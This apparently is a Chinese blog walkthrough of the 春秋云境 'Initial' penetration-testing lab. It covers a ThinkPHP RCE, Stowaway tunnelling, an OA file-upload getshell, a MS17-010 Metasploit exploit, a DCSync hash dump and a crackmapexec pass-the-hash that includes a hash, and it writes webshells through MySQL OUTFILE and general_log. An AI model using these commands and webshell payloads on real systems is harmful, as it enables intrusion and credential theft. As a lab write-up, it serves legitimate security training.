春秋云境Initial 打靶

OneZ3r0 Lv3

前言

晚上7点打到10点,10点复盘整理到12点,意犹未尽,拿下第一台靶标!

这次感觉主要是内网穿透的工具部署使用要熟悉

先上个小总结,个人觉得渗透无非就是两个方面:攻击链知识面
攻击链 就是我们整个渗透过程的思维方式,而 知识面 则是打通各个信息点之间必不可少的一环

flowchart TB
    %% 主流程节点(严格居中排列)
    A[开始] --> B[信息收集阶段]
    B --> C[漏洞收集与利用]
    C --> D[初始立足点]
    D --> E[权限提升]
    E --> F[持久化控制]
    F --> G[内网横向移动]
    G --> H[域控攻陷]
    H --> I[目标达成]
    
    %% 信息收集子节点(水平居中排列)
    B --- B1[主机发现/端口扫描]
    B --- B2[路径/弱口令爆破]
    B --- B3[服务指纹识别]
    
    %% 初始控制子节点
    D --- D1[获取当前机器的Shell]
    D --- D2[服务入侵/渗透]
    D --- D3[find信息收集]
    
    
    %% 权限维持子节点
    E --- E1[sudo提权]
    E --- E2[suid提权]
    E --- E3[内核提权]
    E --- E4[密钥窃取]
    E --- E5[漏洞exploit]
    
    F --- F1[后门植入]
    F --- F2[隧道建立]
    
    %% 内网渗透循环(严格居中的循环结构)
    G --- G1[新主机发现]
    G1 --- G2[凭证收集]
    G2 --- G3[内网服务扫描]
    G3 --- G4[漏洞利用]
    G4 --- G5[权限提升]
    G5 --- G6{是否域控?}
    G6 -->|否| G1
    G6 -->|是| H
    
    %% 域控攻陷子节点
    H --- H1[获取域管凭证]
    H --- H2[黄金票据制作]
    H --- H3[域策略控制]
      
    
    %% 颜色编码
    style B fill:#e0bbff,stroke:#333
    style C fill:#ffcc99,stroke:#333
    style G fill:#b3ffcc,stroke:#333
    style H fill:#ff6666,stroke:#333,color:white
    style I fill:#66ccff,stroke:#333
    
    %% 内网循环特殊样式
    style G1 fill:#b3ffcc
    style G2 fill:#b3ffcc
    style G3 fill:#b3ffcc
    style G4 fill:#b3ffcc
    style G5 fill:#b3ffcc
    style G6 fill:#ffcc66

信息收集&入口机

直接fscan

image-20250701191922671
image-20250701191922671

开放80端口,有thinkphp RCE,如果不是fscan的话从网站icon也能看出来这是tp框架,也应该去收集漏洞信息

image-20250701192019550
image-20250701192019550

ThinkPHP RCE

直接上脚本

image-20250701192711399
image-20250701192711399

蚁剑连接

image-20250701192806157
image-20250701192806157

ip a看内网有服务172.22.1.15/16

提权

发现有sudo提权

image-20250701193114105
image-20250701193114105

看一下suid,似乎也没有什么新信息

image-20250701193724533
image-20250701193724533

尝试find / -type f -name '*flag*' 2>/dev/null找一下flag,但是没有什么信息

image-20250701193255009
image-20250701193255009

我们回过头来看mysql的提权,因为蚁剑是非交互式的,所以我们干脆一条一条命令执行,比如进入到root页面看看有什么,或者以root的身份执行刚刚的find命令,就能找到root权限才能读的一些文件,因为是sudo提权所以别忘了加sudo

image-20250701193837415
image-20250701193837415

发现有flag,flag01: flag{60b53231-

image-20250701193928509
image-20250701193928509

内网立足点

内网扫描

那么这台机子是入口机,既能从公网访问,也是有内网段的,我们传个fscan进去看看

image-20250701194151444
image-20250701194151444

服了这蚁剑的shell,交互性太差,如果在最后一行是显示不出来的
得清屏执行fscan./fscan -h 172.22.1.0/24

image-20250701195134264
image-20250701195134264

发现内网有更多服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.21 is alive

[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统

我们可以看到

1
2
3
172.22.1.2,是个域控DC
172.22.1.21,有个MS17-010漏洞
172.22.1.18,是个Win7,有信呼协同办公系统

内网穿透

但是内网我们是访问不了的,所以我们得使用内网穿透工具

1
2
3
4
admin ./stowaway_admin -l 1234
agent ./stowaway_agent -c vps公网ip:1234
admin use 0
agent socks 2345
image-20250701200025464
image-20250701200025464

然后proxifier代理一下chrome的流量,要稍微等一会,可以访问内网了

image-20250701200715707
image-20250701200715707

内网服务1 信呼OA

弱口令爆破

入口有个登录,想爆破一下admin弱口令
服了这burp

image-20250702101844953
image-20250702101844953

在burp直接配置一个socks代理到公网服务器,不需要proxifier,同时burp自带的浏览器不行,用浏览器插件设置代理到burp

image-20250701202614017
image-20250701202614017

看了下抓到的包的数据格式,是base64输入加上:的url编码,第一个位置一个,第二个位置两个

然后在密码的位置加上base64-encode

image-20250701202910674
image-20250701202910674

但是我top3000没爆出来啊,原因是……

image-20250701203205626
image-20250701203205626

调一下burp的延时,哦不对不是在这里设置

image-20250701203750327
image-20250701203750327

应该在pool设置

image-20250701204416392
image-20250701204416392

欸服了,它同一个账户不能连续登录错3次,伪造client-ip也没用

image-20250701205657406
image-20250701205657406

不爆破了,投降了喵,直接抄wp了 admin/admin123了

image-20250701210151508
image-20250701210151508

文件上传getshell

没发现什么有价值的东西,才想起来看看这个系统的版本,上网找个文件上传漏洞利用脚本

image-20250701210443624
image-20250701210443624

丢到kali里面

image-20250701211322902
image-20250701211322902

执行exp,成功写入shell

image-20250701211819951
image-20250701211819951

蚁剑连接,是个windows系统,当前是nt authority\system

nt 是windows NT内核时代遗留的(New Technology),而system账户是windows中权限最高的内置账户

image-20250701211748020
image-20250701211748020

然后稍微翻了一下就找到flag了

image-20250701212625940
image-20250701212625940

flag02: 2ce3-4813-87d4-

image-20250701212638009
image-20250701212638009

(其实这里想尝试上传everything配合cli来搜的,但是发现cli执行不了)

内网服务2 永恒之蓝

漏洞利用

msf启动!ms17-010是吧,先search ms17-010

image-20250701213623106
image-20250701213623106

对应刚好是,之前fscan收集到的系统信息,满足利用条件

1
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
image-20250701213825921
image-20250701213825921

然后我们使用msf发起攻击

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue  # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21 # 设置内网靶机ip
exploit # 发起攻击
image-20250701214115932
image-20250701214115932

DCSync准备-抓取哈希

看之前说域名是xiaorang.lab,参考第一台机子是DC,以及靶标标签DCSync的知识点

DCSync

在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。

当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。

DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。

目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。

DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash

也就是说我们可以通过DCSync来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限

Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户

而这台永恒之蓝的正好是Enterprise Admins

1
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1

所以可以打哈希横传,然后我们执行,其中域名为xiaorang.lab

1
2
load_kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

抓取哈希

image-20250701215109711
image-20250701215109711

哈希域知识解读todo

我们来解读一下这里的哈希涉及到的信息

内网 DC域控

哈希横传

我们比较关心的是Administrator账户,用crackmapexec打哈希横传

哈希横传攻击(Pass The Hash)

即PTH,也是内网渗透中较未常见的一个术语,就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的

适用场景:内网中大量主机密码相同

hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(139端口和445 端口)

这里使用哈希横传攻击,是因为获得了域的管理员的哈希。而一般情况下,域的管理员和用户会被添加为域服务器的管理员和用户

然后我们用管理员一步一步执行命令看看

image-20250701220302275
image-20250701220302275

哦差点忘了windows是反斜杠

image-20250701220530315
image-20250701220530315

但是为啥没看到flag???

对比了一下我的命令,哦,是没打到点上啊,172.22.1.2,而且前面这么显眼的XIAORANG-WIN7我咋都没看见……

1
2
3
crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

crackmapexec smb 172.22.1.21 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

改成DC主机172.22.1.2后,这下看起来正常多了,有flag目录了

image-20250701221518979
image-20250701221518979

拿到flag03: e8f88d0d43d6}

image-20250701221640172
image-20250701221640172

后记 立足点新打法

后面想起来之前看到信呼那里可以打phpmyadmin,所以也去试一下
dirmap扫出来有phpmyadmin目录,访问一下

空密码不行,但是随手一试root/root就有了

image-20250701223029161
image-20250701223029161

可以执行sql语句

image-20250701223611278
image-20250701223611278

暴露绝对路径

image-20250701223639016
image-20250701223639016

因为是root登录的localhost,所以这里我们考虑用select写马,但是却无法写入

1
SELECT '<?php eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy\\PHPTutorial\\WWW\\onez3r0.php';

查询了一下是secure_file_priv 的原因

当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出

image-20250701223944811
image-20250701223944811

而我们前面知道这是windows下,phpStudy起的服务(文件路径可以参考我们自己电脑上的phpstudy),根据前面的路径信息,我们可以大胆尝试,这里用更加常见的日志包含写马

1
2
3
4
5
6
7
set global general_log = "ON";

show variables like 'general%';

set global general_log_file = "C:\\phpStudy\\PHPTutorial\\WWW\\onez3r0.php";

select "<?php phpinfo();?>";

成功写入!

image-20250701225209618
image-20250701225209618
  • 标题: 春秋云境Initial 打靶
  • 作者: OneZ3r0
  • 创建于 : 2025-07-01 19:18:20
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/07/01/ichunqiu-initial-walkthrough/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。